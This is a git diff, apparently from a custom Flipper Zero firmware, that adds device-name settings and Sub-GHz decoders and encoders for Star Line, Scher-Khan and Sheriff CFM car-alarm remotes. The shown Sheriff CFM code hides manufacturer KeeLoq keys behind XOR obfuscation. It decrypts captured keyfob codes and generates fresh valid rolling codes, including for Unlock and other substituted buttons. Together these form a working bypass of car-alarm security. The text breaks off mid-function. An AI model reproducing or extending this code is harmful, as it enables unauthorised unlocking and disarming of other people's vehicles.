||||
item, app->device_name[0] != '\0' ? app->device_name : "<default>");
|
||||
|
||||
variable_item_list_set_enter_callback(
|
||||
app->var_item_list, system_settings_enter_callback, app);
|
||||
|
||||
view_set_previous_callback(
|
||||
variable_item_list_get_view(app->var_item_list), system_settings_exit);
|
||||
view_dispatcher_add_view(
|
||||
@@ -321,6 +413,15 @@ SystemSettings* system_settings_alloc(void) {
|
||||
SystemSettingsViewVarItemList,
|
||||
variable_item_list_get_view(app->var_item_list));
|
||||
|
||||
// TextInput for device name
|
||||
app->text_input = text_input_alloc();
|
||||
view_set_previous_callback(
|
||||
text_input_get_view(app->text_input), system_settings_text_input_back);
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher,
|
||||
SystemSettingsViewTextInput,
|
||||
text_input_get_view(app->text_input));
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, SystemSettingsViewVarItemList);
|
||||
|
||||
return app;
|
||||
@@ -328,12 +429,16 @@ SystemSettings* system_settings_alloc(void) {
|
||||
|
||||
void system_settings_free(SystemSettings* app) {
|
||||
furi_assert(app);
|
||||
// TextInput
|
||||
view_dispatcher_remove_view(app->view_dispatcher, SystemSettingsViewTextInput);
|
||||
text_input_free(app->text_input);
|
||||
// Variable item list
|
||||
view_dispatcher_remove_view(app->view_dispatcher, SystemSettingsViewVarItemList);
|
||||
variable_item_list_free(app->var_item_list);
|
||||
// View dispatcher
|
||||
view_dispatcher_free(app->view_dispatcher);
|
||||
// Records
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
furi_record_close(RECORD_GUI);
|
||||
free(app);
|
||||
}
|
||||
|
||||
@@ -2,17 +2,24 @@
|
||||
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
#include <furi_hal_version.h>
|
||||
|
||||
#include <gui/gui.h>
|
||||
#include <gui/view_dispatcher.h>
|
||||
#include <gui/modules/variable_item_list.h>
|
||||
#include <gui/modules/text_input.h>
|
||||
#include <storage/storage.h>
|
||||
|
||||
typedef struct {
|
||||
Gui* gui;
|
||||
ViewDispatcher* view_dispatcher;
|
||||
VariableItemList* var_item_list;
|
||||
TextInput* text_input;
|
||||
Storage* storage;
|
||||
char device_name[FURI_HAL_VERSION_ARRAY_NAME_LENGTH];
|
||||
} SystemSettings;
|
||||
|
||||
typedef enum {
|
||||
SystemSettingsViewVarItemList,
|
||||
SystemSettingsViewTextInput,
|
||||
} SystemSettingsView;
|
||||
|
||||
1
applications_user/.gitignore
vendored
1
applications_user/.gitignore
vendored
@@ -0,0 +1 @@
|
||||
*
|
||||
|
||||
@@ -5,6 +5,8 @@ static uint8_t custom_btn_original = 0;
|
||||
static uint8_t custom_btn_max_btns = 0;
|
||||
static uint8_t controller_programming_mode = PROG_MODE_OFF;
|
||||
|
||||
static bool subghz_custom_btn_long = false;
|
||||
|
||||
bool subghz_custom_btn_set(uint8_t btn_id) {
|
||||
if(btn_id > custom_btn_max_btns) {
|
||||
custom_btn_id = SUBGHZ_CUSTOM_BTN_OK;
|
||||
@@ -36,6 +38,7 @@ void subghz_custom_btns_reset(void) {
|
||||
custom_btn_max_btns = 0;
|
||||
controller_programming_mode = PROG_MODE_OFF;
|
||||
custom_btn_id = SUBGHZ_CUSTOM_BTN_OK;
|
||||
subghz_custom_btn_long = false;
|
||||
}
|
||||
|
||||
bool subghz_custom_btn_is_allowed(void) {
|
||||
@@ -49,3 +52,11 @@ void subghz_custom_btn_set_prog_mode(ProgMode prog_mode) {
|
||||
ProgMode subghz_custom_btn_get_prog_mode(void) {
|
||||
return controller_programming_mode;
|
||||
}
|
||||
|
||||
void subghz_custom_btn_set_long(bool v) {
|
||||
subghz_custom_btn_long = v;
|
||||
}
|
||||
|
||||
bool subghz_custom_btn_get_long(void) {
|
||||
return subghz_custom_btn_long;
|
||||
}
|
||||
|
||||
@@ -25,6 +25,9 @@ void subghz_custom_btns_reset(void);
|
||||
|
||||
bool subghz_custom_btn_is_allowed(void);
|
||||
|
||||
void subghz_custom_btn_set_long(bool v);
|
||||
bool subghz_custom_btn_get_long(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,23 +1,11 @@
|
||||
#pragma once
|
||||
|
||||
#include <furi.h>
|
||||
#include <lib/subghz/protocols/base.h>
|
||||
#include <lib/subghz/types.h>
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include <flipper_format/flipper_format.h>
|
||||
#include <lib/toolbox/manchester_decoder.h>
|
||||
#include "base.h"
|
||||
|
||||
#include <lib/subghz/blocks/custom_btn.h>
|
||||
|
||||
#define FORD_PROTOCOL_V0_NAME "Ford V0"
|
||||
#define SUBGHZ_PROTOCOL_FORD_V0_NAME "FORD V0"
|
||||
|
||||
extern const SubGhzProtocol subghz_protocol_ford_v0;
|
||||
|
||||
// Decoder functions
|
||||
void* subghz_protocol_decoder_ford_v0_alloc(SubGhzEnvironment* environment);
|
||||
void subghz_protocol_decoder_ford_v0_free(void* context);
|
||||
void subghz_protocol_decoder_ford_v0_reset(void* context);
|
||||
@@ -31,7 +19,6 @@ SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_ford_v0_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
void subghz_protocol_decoder_ford_v0_get_string(void* context, FuriString* output);
|
||||
|
||||
// Encoder functions
|
||||
void* subghz_protocol_encoder_ford_v0_alloc(SubGhzEnvironment* environment);
|
||||
void subghz_protocol_encoder_ford_v0_free(void* context);
|
||||
SubGhzProtocolStatus
|
||||
|
||||
@@ -72,6 +72,9 @@ const SubGhzProtocol* const subghz_protocol_registry_items[] = {
|
||||
&subghz_protocol_kia_v6,
|
||||
&subghz_protocol_suzuki,
|
||||
&subghz_protocol_mitsubishi_v0,
|
||||
&subghz_protocol_star_line,
|
||||
&subghz_protocol_scher_khan,
|
||||
&subghz_protocol_sheriff_cfm,
|
||||
};
|
||||
|
||||
const SubGhzProtocolRegistry subghz_protocol_registry = {
|
||||
|
||||
@@ -74,3 +74,6 @@
|
||||
#include "suzuki.h"
|
||||
#include "mitsubishi_v0.h"
|
||||
#include "mazda_siemens.h"
|
||||
#include "star_line.h"
|
||||
#include "scher_khan.h"
|
||||
#include "sheriff_cfm.h"
|
||||
|
||||
1005
lib/subghz/protocols/scher_khan.c
Normal file
1005
lib/subghz/protocols/scher_khan.c
Normal file
File diff suppressed because it is too large
Load Diff
44
lib/subghz/protocols/scher_khan.h
Normal file
44
lib/subghz/protocols/scher_khan.h
Normal file
@@ -0,0 +1,44 @@
|
||||
#pragma once
|
||||
#include <furi.h>
|
||||
#include <lib/subghz/protocols/base.h>
|
||||
#include <lib/subghz/types.h>
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include <lib/toolbox/manchester_decoder.h>
|
||||
#include <flipper_format/flipper_format.h>
|
||||
|
||||
#define SUBGHZ_PROTOCOL_SCHER_KHAN_NAME "Scher-Khan"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderScherKhan SubGhzProtocolDecoderScherKhan;
|
||||
typedef struct SubGhzProtocolEncoderScherKhan SubGhzProtocolEncoderScherKhan;
|
||||
|
||||
extern const SubGhzProtocolDecoder subghz_protocol_scher_khan_decoder;
|
||||
extern const SubGhzProtocolEncoder subghz_protocol_scher_khan_encoder;
|
||||
extern const SubGhzProtocol subghz_protocol_scher_khan;
|
||||
|
||||
void* subghz_protocol_decoder_scher_khan_alloc(SubGhzEnvironment* environment);
|
||||
void subghz_protocol_decoder_scher_khan_free(void* context);
|
||||
void subghz_protocol_decoder_scher_khan_reset(void* context);
|
||||
void subghz_protocol_decoder_scher_khan_feed(void* context, bool level, uint32_t duration);
|
||||
|
||||
uint8_t subghz_protocol_decoder_scher_khan_get_hash_data(void* context);
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_scher_khan_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_scher_khan_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
void subghz_protocol_decoder_scher_khan_get_string(void* context, FuriString* output);
|
||||
|
||||
void* subghz_protocol_encoder_scher_khan_alloc(SubGhzEnvironment* environment);
|
||||
void subghz_protocol_encoder_scher_khan_free(void* context);
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_scher_khan_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
void subghz_protocol_encoder_scher_khan_stop(void* context);
|
||||
LevelDuration subghz_protocol_encoder_scher_khan_yield(void* context);
|
||||
634
lib/subghz/protocols/sheriff_cfm.c
Normal file
634
lib/subghz/protocols/sheriff_cfm.c
Normal file
@@ -0,0 +1,634 @@
|
||||
#include "sheriff_cfm.h"
|
||||
#include "keeloq_common.h"
|
||||
#include "../blocks/custom_btn_i.h"
|
||||
#include "../blocks/generic.h"
|
||||
|
||||
#include <string.h>
|
||||
|
||||
#define TAG "SubGhzProtocolSheriffCfm"
|
||||
|
||||
static const uint8_t cfm_pi_bytes[] = {
|
||||
0xA4, 0x58, 0xFE, 0xA3, 0xF4, 0x93, 0x3D, 0x7E,
|
||||
0x0D, 0x95, 0x74, 0x8F, 0x72, 0x8E, 0xB6, 0x58,
|
||||
};
|
||||
|
||||
static const uint8_t cfm_zx750_encoded[8] = {
|
||||
0x32, 0x4D, 0xCB, 0x84, 0x5F, 0xE9, 0x27, 0xCB,
|
||||
};
|
||||
|
||||
static const uint8_t cfm_zx930_encoded[8] = {
|
||||
0x94, 0x3B, 0x63, 0xA5, 0xE8, 0xF3, 0xAB, 0x60,
|
||||
};
|
||||
|
||||
static void cfm_pi_decode(uint8_t* out, const uint8_t* encoded, size_t pi_offset, size_t len) {
|
||||
for(size_t i = 0; i < len; i++) {
|
||||
out[i] = encoded[i] ^ cfm_pi_bytes[pi_offset + i];
|
||||
}
|
||||
}
|
||||
|
||||
static uint8_t cfm_rlf(uint8_t in) {
|
||||
return (uint8_t)((in << 1) | (in >> 7));
|
||||
}
|
||||
|
||||
static uint8_t cfm_rrf(uint8_t in) {
|
||||
return (uint8_t)((in >> 1) | (in << 7));
|
||||
}
|
||||
|
||||
static uint8_t cfm_swap(uint8_t in) {
|
||||
return (uint8_t)((in << 4) | (in >> 4));
|
||||
}
|
||||
|
||||
typedef enum {
|
||||
SheriffCfmModelZX750 = 0,
|
||||
SheriffCfmModelZX930 = 1,
|
||||
SheriffCfmModelCount = 2,
|
||||
} SheriffCfmModel;
|
||||
|
||||
static const char* cfm_model_name(SheriffCfmModel model) {
|
||||
switch(model) {
|
||||
case SheriffCfmModelZX750: return "ZX-750";
|
||||
case SheriffCfmModelZX930: return "ZX-930";
|
||||
default: return "?";
|
||||
}
|
||||
}
|
||||
|
||||
static void cfm_decrypt_transform(uint8_t* hop, SheriffCfmModel model) {
|
||||
uint8_t temp;
|
||||
switch(model) {
|
||||
case SheriffCfmModelZX750:
|
||||
hop[0] = cfm_swap(hop[0]);
|
||||
hop[2] = cfm_swap(hop[2]);
|
||||
break;
|
||||
|
||||
case SheriffCfmModelZX930:
|
||||
hop[0] = ~hop[0];
|
||||
temp = hop[1];
|
||||
hop[1] = hop[2];
|
||||
hop[2] = temp;
|
||||
hop[0] = cfm_rrf(hop[0]);
|
||||
hop[1] = cfm_swap(hop[1]);
|
||||
hop[1] = cfm_rlf(hop[1]);
|
||||
hop[1] = cfm_rlf(hop[1]);
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
static void cfm_encrypt_transform(uint8_t* hop, SheriffCfmModel model) {
|
||||
uint8_t temp;
|
||||
switch(model) {
|
||||
case SheriffCfmModelZX750:
|
||||
hop[0] = cfm_swap(hop[0]);
|
||||
hop[2] = cfm_swap(hop[2]);
|
||||
break;
|
||||
|
||||
case SheriffCfmModelZX930:
|
||||
hop[1] = cfm_rrf(hop[1]);
|
||||
hop[1] = cfm_rrf(hop[1]);
|
||||
hop[1] = cfm_swap(hop[1]);
|
||||
hop[0] = cfm_rlf(hop[0]);
|
||||
hop[0] = ~hop[0];
|
||||
temp = hop[1];
|
||||
hop[1] = hop[2];
|
||||
hop[2] = temp;
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
static const char* cfm_btn_name(uint8_t btn) {
|
||||
switch(btn) {
|
||||
case 0x10: return "Lock";
|
||||
case 0x20: return "Unlock";
|
||||
case 0x40: return "Trunk";
|
||||
case 0x80: return "Panic";
|
||||
default: return "?";
|
||||
}
|
||||
}
|
||||
|
||||
static uint8_t cfm_btn_to_custom(uint8_t btn) {
|
||||
switch(btn) {
|
||||
case 0x10: return SUBGHZ_CUSTOM_BTN_UP;
|
||||
case 0x20: return SUBGHZ_CUSTOM_BTN_DOWN;
|
||||
case 0x40: return SUBGHZ_CUSTOM_BTN_LEFT;
|
||||
case 0x80: return SUBGHZ_CUSTOM_BTN_RIGHT;
|
||||
default: return SUBGHZ_CUSTOM_BTN_OK;
|
||||
}
|
||||
}
|
||||
|
||||
static uint8_t cfm_custom_to_btn(uint8_t custom, uint8_t original_btn) {
|
||||
if(custom == SUBGHZ_CUSTOM_BTN_OK) return original_btn;
|
||||
if(custom == SUBGHZ_CUSTOM_BTN_UP) return 0x10;
|
||||
if(custom == SUBGHZ_CUSTOM_BTN_DOWN) return 0x20;
|
||||
if(custom == SUBGHZ_CUSTOM_BTN_LEFT) return 0x40;
|
||||
if(custom == SUBGHZ_CUSTOM_BTN_RIGHT) return 0x80;
|
||||
return original_btn;
|
||||
}
|
||||
|
||||
static uint8_t cfm_get_btn_code(uint8_t original_btn) {
|
||||
return cfm_custom_to_btn(subghz_custom_btn_get(), original_btn);
|
||||
}
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_sheriff_cfm_const = {
|
||||
.te_short = 400,
|
||||
.te_long = 800,
|
||||
.te_delta = 140,
|
||||
.min_count_bit_for_found = 64,
|
||||
};
|
||||
|
||||
struct SubGhzProtocolDecoderSheriffCfm {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
uint16_t header_count;
|
||||
SheriffCfmModel model;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderSheriffCfm {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
SheriffCfmModel model;
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
SheriffCfmDecoderStepReset = 0,
|
||||
SheriffCfmDecoderStepCheckPreambula,
|
||||
SheriffCfmDecoderStepSaveDuration,
|
||||
SheriffCfmDecoderStepCheckDuration,
|
||||
} SheriffCfmDecoderStep;
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_sheriff_cfm_decoder = {
|
||||
.alloc = subghz_protocol_decoder_sheriff_cfm_alloc,
|
||||
.free = subghz_protocol_decoder_sheriff_cfm_free,
|
||||
.feed = subghz_protocol_decoder_sheriff_cfm_feed,
|
||||
.reset = subghz_protocol_decoder_sheriff_cfm_reset,
|
||||
.get_hash_data = subghz_protocol_decoder_sheriff_cfm_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_sheriff_cfm_serialize,
|
||||
.deserialize = subghz_protocol_decoder_sheriff_cfm_deserialize,
|
||||
.get_string = subghz_protocol_decoder_sheriff_cfm_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_sheriff_cfm_encoder = {
|
||||
.alloc = subghz_protocol_encoder_sheriff_cfm_alloc,
|
||||
.free = subghz_protocol_encoder_sheriff_cfm_free,
|
||||
.deserialize = subghz_protocol_encoder_sheriff_cfm_deserialize,
|
||||
.stop = subghz_protocol_encoder_sheriff_cfm_stop,
|
||||
.yield = subghz_protocol_encoder_sheriff_cfm_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol subghz_protocol_sheriff_cfm = {
|
||||
.name = SUBGHZ_PROTOCOL_SHERIFF_CFM_NAME,
|
||||
.type = SubGhzProtocolTypeDynamic,
|
||||
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM |
|
||||
SubGhzProtocolFlag_Decodable |
|
||||
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
|
||||
.decoder = &subghz_protocol_sheriff_cfm_decoder,
|
||||
.encoder = &subghz_protocol_sheriff_cfm_encoder,
|
||||
};
|
||||
|
||||
static uint64_t cfm_get_mfkey(SheriffCfmModel model) {
|
||||
uint8_t dkey[8];
|
||||
switch(model) {
|
||||
case SheriffCfmModelZX750:
|
||||
cfm_pi_decode(dkey, cfm_zx750_encoded, 0, 8);
|
||||
break;
|
||||
case SheriffCfmModelZX930:
|
||||
cfm_pi_decode(dkey, cfm_zx930_encoded, 8, 8);
|
||||
break;
|
||||
default:
|
||||
return 0;
|
||||
}
|
||||
uint64_t key = 0;
|
||||
for(int i = 7; i >= 0; i--) {
|
||||
key = (key << 8) | dkey[i];
|
||||
}
|
||||
return key;
|
||||
}
|
||||
|
||||
static bool cfm_try_decrypt(
|
||||
uint64_t data,
|
||||
SheriffCfmModel* out_model,
|
||||
uint8_t* out_btn,
|
||||
uint32_t* out_serial,
|
||||
uint16_t* out_cnt) {
|
||||
|
||||
uint32_t hop_encrypted = (uint32_t)(data & 0xFFFFFFFF);
|
||||
uint32_t fix = (uint32_t)(data >> 32);
|
||||
|
||||
for(SheriffCfmModel model = 0; model < SheriffCfmModelCount; model++) {
|
||||
uint8_t hop_bytes[4];
|
||||
hop_bytes[0] = (uint8_t)(hop_encrypted & 0xFF);
|
||||
hop_bytes[1] = (uint8_t)((hop_encrypted >> 8) & 0xFF);
|
||||
hop_bytes[2] = (uint8_t)((hop_encrypted >> 16) & 0xFF);
|
||||
hop_bytes[3] = (uint8_t)((hop_encrypted >> 24) & 0xFF);
|
||||
|
||||
cfm_decrypt_transform(hop_bytes, model);
|
||||
|
||||
uint32_t hop_transformed =
|
||||
(uint32_t)hop_bytes[0] |
|
||||
((uint32_t)hop_bytes[1] << 8) |
|
||||
((uint32_t)hop_bytes[2] << 16) |
|
||||
((uint32_t)hop_bytes[3] << 24);
|
||||
|
||||
uint64_t mfkey = cfm_get_mfkey(model);
|
||||
uint32_t decrypted = subghz_protocol_keeloq_common_decrypt(hop_transformed, mfkey);
|
||||
|
||||
uint16_t dec_serial_lo = (uint16_t)((decrypted >> 16) & 0x3FF);
|
||||
uint16_t fix_serial_lo = (uint16_t)(fix & 0x3FF);
|
||||
|
||||
uint8_t btn_byte = (uint8_t)((decrypted >> 24) & 0xFF);
|
||||
bool valid_btn = (btn_byte == 0x10 || btn_byte == 0x20 ||
|
||||
btn_byte == 0x40 || btn_byte == 0x80);
|
||||
|
||||
if(valid_btn && (dec_serial_lo == fix_serial_lo)) {
|
||||
*out_model = model;
|
||||
*out_btn = btn_byte;
|
||||
*out_serial = fix;
|
||||
*out_cnt = (uint16_t)(decrypted & 0xFFFF);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void* subghz_protocol_encoder_sheriff_cfm_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderSheriffCfm* instance = malloc(sizeof(SubGhzProtocolEncoderSheriffCfm));
|
||||
instance->base.protocol = &subghz_protocol_sheriff_cfm;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
instance->encoder.repeat = 3;
|
||||
instance->encoder.size_upload = 256;
|
||||
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
instance->encoder.is_running = false;
|
||||
instance->encoder.front = 0;
|
||||
instance->model = SheriffCfmModelZX750;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_sheriff_cfm_free(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolEncoderSheriffCfm* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
static bool subghz_protocol_encoder_sheriff_cfm_get_upload(
|
||||
SubGhzProtocolEncoderSheriffCfm* instance,
|
||||
uint8_t btn) {
|
||||
furi_check(instance);
|
||||
|
||||
if((instance->generic.cnt + 1) > 0xFFFF) {
|
||||
instance->generic.cnt = 0;
|
||||
} else {
|
||||
instance->generic.cnt += 1;
|
||||
}
|
||||
|
||||
uint32_t fix = (uint32_t)(instance->generic.data >> 32);
|
||||
uint16_t serial_lo = (uint16_t)(fix & 0x3FF);
|
||||
uint32_t hop_plain =
|
||||
((uint32_t)btn << 24) |
|
||||
((uint32_t)serial_lo << 16) |
|
||||
(instance->generic.cnt & 0xFFFF);
|
||||
|
||||
uint64_t mfkey = cfm_get_mfkey(instance->model);
|
||||
uint32_t hop_encrypted = subghz_protocol_keeloq_common_encrypt(hop_plain, mfkey);
|
||||
|
||||
uint8_t hop_bytes[4];
|
||||
hop_bytes[0] = (uint8_t)(hop_encrypted & 0xFF);
|
||||
hop_bytes[1] = (uint8_t)((hop_encrypted >> 8) & 0xFF);
|
||||
hop_bytes[2] = (uint8_t)((hop_encrypted >> 16) & 0xFF);
|
||||
hop_bytes[3] = (uint8_t)((hop_encrypted >> 24) & 0xFF);
|
||||
cfm_encrypt_transform(hop_bytes, instance->model);
|
||||
|
||||
hop_encrypted =
|
||||
(uint32_t)hop_bytes[0] |
|
||||
((uint32_t)hop_bytes[1] << 8) |
|
||||
((uint32_t)hop_bytes[2] << 16) |
|
||||
((uint32_t)hop_bytes[3] << 24);
|
||||
|
||||
instance->generic.data = ((uint64_t)fix << 32) | hop_encrypted;
|
||||
instance->generic.btn = btn;
|
||||
|
||||
size_t index = 0;
|
||||
|
||||
for(uint8_t i = 11; i > 0; i--) {
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_sheriff_cfm_const.te_short);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_sheriff_cfm_const.te_short);
|
||||
}
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_sheriff_cfm_const.te_short);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_sheriff_cfm_const.te_short * 10);
|
||||
|
||||
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
|
||||
if(bit_read(instance->generic.data, i - 1)) {
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_sheriff_cfm_const.te_short);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_sheriff_cfm_const.te_long);
|
||||
} else {
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_sheriff_cfm_const.te_long);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_sheriff_cfm_const.te_short);
|
||||
}
|
||||
}
|
||||
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_sheriff_cfm_const.te_short);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_sheriff_cfm_const.te_short * 40);
|
||||
|
||||
instance->encoder.size_upload = index;
|
||||
return true;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_sheriff_cfm_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolEncoderSheriffCfm* instance = context;
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
|
||||
do {
|
||||
ret = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic,
|
||||
flipper_format,
|
||||
subghz_protocol_sheriff_cfm_const.min_count_bit_for_found);
|
||||
if(ret != SubGhzProtocolStatusOk) break;
|
||||
|
||||
uint32_t model_temp = 0;
|
||||
if(flipper_format_read_uint32(flipper_format, "Model", &model_temp, 1)) {
|
||||
instance->model = (SheriffCfmModel)model_temp;
|
||||
} else {
|
||||
SheriffCfmModel detected;
|
||||
uint8_t det_btn;
|
||||
uint32_t det_serial;
|
||||
uint16_t det_cnt;
|
||||
if(cfm_try_decrypt(instance->generic.data, &detected, &det_btn, &det_serial, &det_cnt)) {
|
||||
instance->model = detected;
|
||||
instance->generic.btn = det_btn;
|
||||
instance->generic.serial = det_serial;
|
||||
instance->generic.cnt = det_cnt;
|
||||
}
|
||||
}
|
||||
|
||||
if(!flipper_format_read_uint32(
|
||||
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1)) {
|
||||
instance->encoder.repeat = 3;
|
||||
}
|
||||
|
||||
subghz_custom_btn_set_original(cfm_btn_to_custom(instance->generic.btn));
|
||||
subghz_custom_btn_set_max(4);
|
||||
|
||||
uint8_t selected_btn = cfm_get_btn_code(instance->generic.btn);
|
||||
|
||||
if(!subghz_protocol_encoder_sheriff_cfm_get_upload(instance, selected_btn)) {
|
||||
break;
|
||||
}
|
||||
|
||||
instance->encoder.is_running = true;
|
||||
instance->encoder.front = 0;
|
||||
ret = SubGhzProtocolStatusOk;
|
||||
} while(false);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_sheriff_cfm_stop(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolEncoderSheriffCfm* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_sheriff_cfm_yield(void* context) {
|
||||
SubGhzProtocolEncoderSheriffCfm* instance = context;
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_sheriff_cfm_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderSheriffCfm* instance = malloc(sizeof(SubGhzProtocolDecoderSheriffCfm));
|
||||
instance->base.protocol = &subghz_protocol_sheriff_cfm;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_sheriff_cfm_free(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderSheriffCfm* instance = context;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_sheriff_cfm_reset(void* context) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderSheriffCfm* instance = context;
|
||||
instance->decoder.parser_step = SheriffCfmDecoderStepReset;
|
||||
instance->header_count = 0;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_sheriff_cfm_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_check(context);
|
||||
SubGhzProtocolDecoderSheriffCfm* instance = context;
|
||||
|
||||
switch(instance->decoder.parser_step) {
|
||||
case SheriffCfmDecoderStepReset:
|
||||
if((level) && DURATION_DIFF(duration, subghz_protocol_sheriff_cfm_const.te_short) <
|
||||
subghz_protocol_sheriff_cfm_const.te_delta) {
|
||||
instance->decoder.parser_step = SheriffCfmDecoderStepCheckPreambula;
|
||||
instance->header_count++;
|
||||
}
|
||||
break;
|
||||
|
||||
case SheriffCfmDecoderStepCheckPreambula:
|
||||
if((!level) && (DURATION_DIFF(duration, subghz_protocol_sheriff_cfm_const.te_short) <
|
||||
subghz_protocol_sheriff_cfm_const.te_delta)) {
|
||||
instance->decoder.parser_step = SheriffCfmDecoderStepReset;
|
||||
break;
|
||||
}
|
||||
if((instance->header_count > 2) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_sheriff_cfm_const.te_short * 10) <
|
||||
subghz_protocol_sheriff_cfm_const.te_delta * 10)) {
|
||||
instance->decoder.parser_step = SheriffCfmDecoderStepSaveDuration;
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
} else {
|
||||
instance->decoder.parser_step = SheriffCfmDecoderStepReset;
|
||||
instance->header_count = 0;
|
||||
}
|
||||
break;
|
||||
|
||||
case SheriffCfmDecoderStepSaveDuration:
|
||||
if(level) {
|
||||
instance->decoder.te_last = duration;
|
||||
instance->decoder.parser_step = SheriffCfmDecoderStepCheckDuration;
|
||||
}
|
||||
break;
|
||||
|
||||
case SheriffCfmDecoderStepCheckDuration:
|
||||
if(!level) {
|
||||
if(duration >= ((uint32_t)subghz_protocol_sheriff_cfm_const.te_short * 2 +
|
||||
subghz_protocol_sheriff_cfm_const.te_delta)) {
|
||||
instance->decoder.parser_step = SheriffCfmDecoderStepReset;
|
||||
if((instance->decoder.decode_count_bit >=
|
||||
subghz_protocol_sheriff_cfm_const.min_count_bit_for_found) &&
|
||||
(instance->decoder.decode_count_bit <=
|
||||
